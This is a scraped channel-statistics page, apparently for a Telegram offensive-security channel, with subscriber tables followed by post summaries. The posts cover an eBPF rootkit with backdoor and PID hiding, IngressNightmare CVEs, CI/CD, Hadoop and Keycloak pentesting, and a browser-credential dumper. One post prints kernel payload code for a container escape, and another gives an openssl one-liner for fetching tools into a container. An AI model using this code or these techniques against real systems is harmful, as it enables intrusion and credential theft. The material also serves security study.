223
订阅者
无数据24 小时
无数据7 天
+230 天
数据加载中...
吸引订阅者
五月 '255月 '25
五月 '25
+6
在0个频道中
四月 '25
+6
在0个频道中
Get PRO
三月 '25
+118
在1个频道中
Get PRO
二月 '250
在4个频道中
Get PRO
一月 '250
在0个频道中
Get PRO
十二月 '240
在0个频道中
Get PRO
十一月 '240
在2个频道中
Get PRO
十月 '240
在0个频道中
Get PRO
九月 '240
在0个频道中
Get PRO
八月 '24
+23
在0个频道中
Get PRO
七月 '240
在0个频道中
Get PRO
六月 '24
+13
在0个频道中
Get PRO
五月 '240
在0个频道中
Get PRO
四月 '240
在0个频道中
Get PRO
三月 '24
+10
在0个频道中
Get PRO
二月 '240
在1个频道中
Get PRO
一月 '24
+55
在1个频道中
| 日期 | 订阅者增长 | 提及 | 频道 | |
| 27 五月 | 0 | |||
| 26 五月 | 0 | |||
| 25 五月 | 0 | |||
| 24 五月 | +1 | |||
| 23 五月 | 0 | |||
| 22 五月 | 0 | |||
| 21 五月 | 0 | |||
| 20 五月 | 0 | |||
| 19 五月 | 0 | |||
| 18 五月 | 0 | |||
| 17 五月 | 0 | |||
| 16 五月 | 0 | |||
| 15 五月 | +1 | |||
| 14 五月 | 0 | |||
| 13 五月 | 0 | |||
| 12 五月 | +1 | |||
| 11 五月 | 0 | |||
| 10 五月 | 0 | |||
| 09 五月 | 0 | |||
| 08 五月 | 0 | |||
| 07 五月 | +1 | |||
| 06 五月 | 0 | |||
| 05 五月 | 0 | |||
| 04 五月 | 0 | |||
| 03 五月 | +1 | |||
| 02 五月 | 0 | |||
| 01 五月 | +1 |
频道帖子
Post-exploiting a compromised etcd – Full control over the kubernetes cluster and its nodes
* Persistence * Resources hiding * Bypassing AdmissionControllers
| 2 | Заинтересовала тема с eBPF, поэтому в качестве эксперимента решил сделать вот такой проект https://github.com/cotsom/eBPF-rootkit/
* Бекдор через отправку парольной фразы в tcp пакете
* Сокрытие pid'а процесса (этот функционал взят из bad-bpf, но загрузчик переписан на Go)
По сокрытию pid есть хорошие статьи с разбором взятого примера
eBPF program creation in practice – PID concealment (Part 1)
eBPF in practice – PID concealment (Part 2) | 229 |
| 3 | Hide PID in linux with eBPF
* eBPF program creation in practice – PID concealment (Part 1)
* eBPF in practice – PID concealment (Part 2) | 1 |
| 4 | eBPF
eBPF: A new frontier for malware
* What is eBPF?
* Lifetime of an eBPF program
* kprobes, uprobes, and tracepoints
* eXpress Data Path (XDP)
* Traffic Control (TC)
* Prevention
* Detection
Bad-bpf- A collection of eBPF programs demonstrating bad behavior, presented at DEF CON 29
ebpfkit - rootkit powered by eBPF
With Friends Like eBPF, Who Needs Enemies? - Black hat USA 2021 research | 285 |
| 5 | Kubernetes Network Policies Done the Right Way by Isovalent.pdf | 459 |
| 6 |  没有文字... | 410 |
| 7 | Gitlab CI/CD
Attacking GitLab CI/CD via Shared Runners
* A Standard Poisoned Pipeline
* Shared Docker-in-Docker Runners and Privileged Containers
* The Shared Instance-Level Runner
* Attacking Docker-in-Docker Shared Runners
* Remediation - Hardening the CI/CD Infra
* Shell Executors
Link | 290 |
| 8 | IngressNightmare
Уязвимость существует на этапе проверки Admission Controller'ом входящего объекта Ingress, из которого создается конфигурация Nginx и проверяется с помощью nginx -t, что ведет к
CVE-2025-24514 - auth-url Annotation Injection
CVE-2025-1097 - auth-tls-match-cn Annotation Injection
CVE-2025-1098 - mirror UID Injection
CVE-2025-1974 - NGINX Configuration Code Execution
Detect exposed Ingress NGINX Admission Controller - Nuclei Template
Create admission review requests from Ingress resource manifests, which could then be sent directly to the admission controller via HTTP - kube-review
PoC
Full WIZ research - IngressNightmare: 9.8 Critical Unauthenticated Remote Code Execution Vulnerabilities in Ingress NGINX | 327 |
| 9 | Container escape using kernel exploitation & Seccomp bypass via manipulating the container’s namespaces
exploit from article
void get_root_payload( void) {
((_commit_creds)(COMMIT_CREDS))(
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
);
// -------- NAMESPACE DOCKER EXPLOIT --------
// copy nsproxy from init_nsproxy to pid 1 of the container
unsigned long long g = ((_find_task_vpid)(FIND_TASK))(1);
// now, do the magic.... !!!! Simple black magic doesn't work on current process!!!!
((_switch_task_namespaces)(SWITCH_TASK_NS))(( void *)g, (void *)INIT_NSPROXY);
// prepare the two namespace FDs by opening the respective files
long fd = ((_do_sys_open)(DO_SYS_OPEN))( AT_FDCWD, "/proc/1/ns/mnt", O_RDONLY, 0);
((_sys_setns)(SYS_SETNS))( fd, 0);
fd = ((_do_sys_open)(DO_SYS_OPEN))( AT_FDCWD, "/proc/1/ns/pid", O_RDONLY, 0);
((_sys_setns)(SYS_SETNS))( fd, 0);
}
The above code can be used in any future privilege escalation vulnerability found in the Linux kernel to escape a containerized environment.
Link | 250 |
| 10 |  Nmap-did-what
Nmap-did-what is a Grafana docker container and a Python script to parse Nmap XML output to an SQLite database. The SQLite database is used as a datasource within Grafana to view the Nmap scan details in a dashboard.
The project consists of two main components:
* A Python script that parses Nmap XML output and stores the data in an SQLite database.
* A Grafana Docker container with a pre-configured dashboard for visualizing the Nmap scan data.
Link | 426 |
| 11 | Hadoop pentest
Hadoop Attack Library - A collection of pentest tools and resources targeting Hadoop environments
This repository is composed of two kind of information and organised accordingly:
* Tools, Techniques and Procedures to attack an Hadoop environment
* Key vulnerabilities on Hadoop components (Hadoop Common, HDFS, YARN etc.)
* Key vulnerabilities in third-party components often used in Hadoop environments
Apache Hadoop Pentesting - Exploits notes with the following sections
* Authenticate using Keytab
* Impersonate Another Hadoop Service
* HDFS Command Cheat Sheet
* RCE | 391 |
| 12 | Kubernetes security fundamentals
Introduction
* Complications of talking about Kubernetes security
* Managed and unmanaged Kubernetes distributions
* Areas of discussion
API Security
* Kubernetes components and ports
- Unmanaged Kubernetes
- Managed Kubernetes
* Securing Kubernetes APIs
Authentication
* Kubernetes authentication principles
- Internal Kubernetes authentication methods
- Static token authentication
- Bootstrap tokens
- X.509 client certificates
- Service account tokens
* External authentication methods
- OpenID Connect (OIDC)
- Webhook token authentication
- Authenticating proxy
- Impersonating proxy
* Authentication for other Kubernetes components
- Kubelet
- Controller manager and scheduler
- Kube-proxy
- Etcd
Authorization
* Kubernetes authorization principles
* Kubernetes authorization modules
- AlwaysAllow and AlwaysDeny
- Node Authorizer
- ABAC
- RBAC
- Webhook
* Authorization for other Kubernetes components
- Kubelet
- Scheduler and Controller Manager
Admission Control
* Admission control overview
- Internal admission controllers
- External admission controllers
* Risks of implementing external admission control
- Using admission control for pod security
Networking
* Network trust zones
* Introduction to CNI
* Managing network access in Kubernetes
* Securing the cluster network
* Conclusion
* Appendix - Setting up a demonstration environment | 391 |
| 13 | HackBrowserData is a command-line tool for decrypting and exporting browser data
* passwords
* history
* cookies
* bookmarks
* download history
* localStorage
* extensions
It supports the most popular browsers on the market and runs on Windows, macOS and Linux
Link | 320 |
| 14 | Keycloak pentest
Articles
Part 1 - Link
* Am I Testing Keycloak?
* Keycloak Version Information
* OpenID Configuration /SAML Descriptor
* Realms (Enumeration && Self-Registration Enabled)
* Client IDs
* Scopes
* Grants
* Identity Providers
* Roles
* User Email Enumeration
Part2 - Link
Reconnaissance
* Additional Services and Ports
* Interesting Local Files
* Reconnaissance Conclusion
Exploitation
* Brute Force Login
* Bypassing/Automating CSRF
* JWT Signing Algorithms
* Make the most out of your scopes/roles
* offline_access
* uma_authorization
* profile
* email
* address
* phone
Tools
Keycloak security scanner - Link
* Начиная с keycloak 17.0+ роут /auth в URL должен быть пропущен (/realms/realm_name/) | 6 847 |
| 15 | SCCMHunter
SCCMHunter is a post-ex tool built to streamline identifying, profiling, and attacking SCCM related assets in an Active Directory domain
contains modules such as
* admin
* dpapi
* http
* mssql
* smb
Link | 356 |
| 16 | CSP Bypass Techniques
Link | 385 |
| 17 |  Netfetch
Scan your Kubernetes clusters to identifiy unprotected workloads and map your existing Network policies
* Visualize network policies and pods in a interactive network map
* Scan cluster identify pods without network policies
* Create default deny network policies where this is missing
* Get suggestions for network policies based on existing workloads
Link | 416 |
| 18 |  darkPulse
darkPulse is a shellcode packer written in Go that is used to create various shellcode loaders | 355 |
| 19 |  Nginxpwner - is a simple tool to look for common Nginx misconfigurations and vulnerabilities
Install using Docker
git clone https://github.com/stark0de/nginxpwner
cd nginxpwner
sudo docker build -t nginxpwner:latest .
sudo docker run -it nginxpwner:latest /bin/bash
It actually checks for
* Gets Ngnix version and gets its possible exploits using searchsploit and tells if it is outdated
* Throws a wordlist specific to Nginx via gobuster
* Checks if it is vulnerable to CRLF via a common misconfiguration of using $uri in redirects
* Checks for CRLF in all of the paths provided
* Checks if the PURGE HTTP method is available from the outside
* Checks for variable leakage misconfiguration
etc | 462 |
| 20 | Bring file to container without curl/wget etc
you can send http requests using OpenSSL
Download deepce
(echo -ne "GET /stealthcopter/deepce/main/deepce.sh HTTP/1.1\r\nHost: raw.githubusercontent.com\r\nConnection: close\r\n\r\n"; sleep 3) | openssl s_client -connect raw.githubusercontent.com:443 -quiet > deepce.sh
Download from inside a container using only bash
Corrected script to work properly with python server - Link
URL=http://localhost:8000/file OUTPUT=file ./get.sh | 504 |
